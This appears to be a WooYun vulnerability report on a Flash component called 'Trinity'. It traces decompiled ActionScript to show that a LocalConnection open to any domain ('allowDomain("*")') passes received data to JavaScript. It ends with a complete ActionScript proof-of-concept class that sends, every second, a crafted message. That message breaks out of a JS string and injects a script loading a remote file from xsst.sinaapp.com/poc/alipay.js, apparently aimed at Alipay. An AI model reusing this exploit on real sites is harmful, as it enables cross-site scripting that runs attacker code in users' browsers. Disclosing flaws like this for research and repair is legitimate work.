WooYun.org

//Main.as
         Trinity.embed(this);    //<-- 调用了 Trinity类的embed方法

//Trinity.as
	_local3 = 外部参数.group  <-- _group
	_local5:Engine =new Engine(_loca3) 
	_local5.connect();

//Engine.as 
	function connect(){
		this.kernel.connect(this.group);
	}
	
	this.kernel = new Kernel(HANDER, this); <- this = Engine

//Kernel.as
	public function Kernel(_arg1:String, _arg2:IReceiver){
		this.privateName = guid("_");
		this._sender = new Sender(_arg1);
		this._receiverProxy = new ReceiverProxy(_arg2);  <-- _arg2 = Engine
	}

//ReceiverProxy.as
	public function ReceiverProxy(_arg1:IReceiver){
		this.localConn = new LocalConnection();
		super();
		this.localConn.client = _arg1;  <-- _arg1 = Engine
		this.localConn.allowDomain("*");
	}

callFunc(this.onReceived, _arg1);

//Trinity.as
        ...
        public function Trinity(_arg1:Engine){
            this._engine = _arg1;
            instance = this;
            _arg1.onConnected = this.onConnected;
            _arg1.onMaster = this.onMaster;
            _arg1.onSended = this.onStatus;
            _arg1.onError = this.onStatus;
            _arg1.onReceived = this.onReceived;   <-- here
        }
        ....
        private function onReceived(_arg1):void{
            AJBridgeLite.callJS({type:"message", data:_arg1});
        }

package {
	import flash.display.Sprite;
	import flash.events.StatusEvent;
	import flash.events.TimerEvent;
	import flash.net.LocalConnection;
	import flash.utils.Timer;
	public class LocalConn extends Sprite
	{
		private var lc:LocalConnection;
		public function LocalConn()
		{
			lc=new LocalConnection();
			lc.addEventListener(StatusEvent.STATUS,function(e:StatusEvent):void{
				trace(e);
			});
			/*timer*/
			var timer:Timer=new Timer(1000);
			timer.addEventListener(TimerEvent.TIMER,senddata);
			timer.start();
		}
		private function senddata(e:TimerEvent):void{
			lc.send("_group","receive",{"type":0,"to":"_group",'data':'aaaaa\\",a:(function(){if(!window.__x){window.__x=1;var s=document.createElement(\'script\');s.src=\'//xsst.sinaapp.com/poc/alipay.js?\'+Math.random();document.body.appendChild(s);}})()})})))}catch(e){}function jsEntry(){}//aaaa'},"_group");
		}
	}
}